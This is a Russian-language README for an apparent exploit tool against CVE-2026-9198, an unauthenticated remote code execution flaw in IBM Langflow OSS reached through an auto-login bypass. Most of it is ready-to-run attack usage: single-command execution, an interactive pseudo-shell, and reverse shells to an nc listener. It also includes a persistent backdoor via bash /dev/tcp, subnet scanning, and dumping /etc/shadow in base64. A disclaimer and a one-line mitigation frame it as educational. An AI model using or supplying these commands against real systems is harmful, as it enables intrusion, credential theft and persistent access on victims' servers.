
IBM Langflow Неаутентифицированное RCE через обход автологина
CVE-2026-9198 — это критическая неаутентифицированная уязвимость удалённого выполнения кода (RCE) в IBM Langflow OSS. Этот эксплойт объединяет две уязвимости:
/api/v1/validate/code, позволяющая произвольное выполнение Python-кода⚠️ ПРЕДУПРЕЖДЕНИЕ: Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Несанкционированное использование незаконно.
pipgit clone https://github.com/0xgh057r3c0n/CVE-2026-9198.git
cd CVE-2026-9198
pip install termcolor
Или установите все зависимости сразу:
pip install -r requirements.txt
python CVE-2026-9198.py --help
Вы должны увидеть меню справки со всеми доступными опциями.
Выполните одиночную команду на целевой системе:
python CVE-2026-9198.py -t <target_ip> -c "id"
Пример:
python CVE-2026-9198.py -t 192.168.1.100 -c "whoami"
Запустите интерактивный shell с динамическими приглашениями:
python CVE-2026-9198.py -t <target_ip> --shell
Возможности:
user@host и текущей директорииcd с автоматическим обновлением приглашенияПример сеанса:
┌─[root@0xgh057r3c0n]─[~]
└──╼ $ whoami
root
┌─[root@0xgh057r3c0n]─[~]
└──╼ $ cd /tmp
┌─[root@0xgh057r3c0n]─[/tmp]
└──╼ $ pwd
/tmp
Отправьте полезную нагрузку реверс-шелла на прослушиватель:
python CVE-2026-9198.py -t <target_ip> --lhost <your_ip> --lport <port>
Пример:
# On your machine - Start listener
nc -lvnp 4444
# Then run the exploit
python CVE-2026-9198.py -t 192.168.1.100 --lhost 192.168.1.50 --lport 4444
Если Langflow работает на нестандартном порту:
python CVE-2026-9198.py -t <target_ip> -p <port> -c "whoami"
Пример:
python CVE-2026-9198.py -t 192.168.1.100 -p 8080 -c "ls -la"
Пропустите процесс автоматического входа и используйте существующий токен:
python CVE-2026-9198.py -t <target_ip> -k <your_jwt_token> -c "id"
Настройте HTTP-тайм-аут для более медленных сетей:
python CVE-2026-9198.py -t <target_ip> --timeout 30 -c "whoami"
python CVE-2026-9198.py -t 192.168.1.100 -c "uname -a"
python CVE-2026-9198.py -t 192.168.1.100 --shell
# Then inside the shell:
ls -la
cat /etc/passwd
# Create a reverse shell that persists
python CVE-2026-9198.py -t 192.168.1.100 -c "echo 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1' > /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh"
python CVE-2026-9198.py -t 192.168.1.100 -c "nmap -sP 192.168.1.0/24"
python CVE-2026-9198.py -t 192.168.1.100 -c "cat /etc/shadow | base64"
Чтобы защититься от этой уязвимости:
/api/v1/auto_login и /api/v1/validate/codeЭтот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый данным программным обеспечением. Пользователи несут единоличную ответственность за соблюдение применимых законов и нормативных актов.
Этот проект лицензирован под лицензией MIT — подробности см. в файле LICENSE.
0xgh057r3c0n
Вклад приветствуется! Не стесняйтесь отправлять Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Если вы считаете этот инструмент полезным, пожалуйста, поставьте ему ⭐ на GitHub!
| Аргумент | Описание | Обязателен | По умолчанию |
|---|
-t, --target | Целевой хост/IP или полный URL | ✅ Да | - |
-p, --port | Порт Langflow | ❌ Нет | 7860 |
-c, --cmd | Выполнить одиночную команду | ❌ Нет | "id" |
--shell | Режим интерактивного псевдо-shell | ❌ Нет | False |
--lhost | IP-адрес прослушивателя реверс-шелла | ❌ Нет | - |
--lport | Порт прослушивателя реверс-шелла | ❌ Нет | 4444 |
-k, --token | Использовать предоставленный bearer-токен | ❌ Нет | - |
--timeout | HTTP-тайм-аут в секундах | ❌ Нет | 20 |
--no-banner | Скрыть баннер | ❌ Нет | False |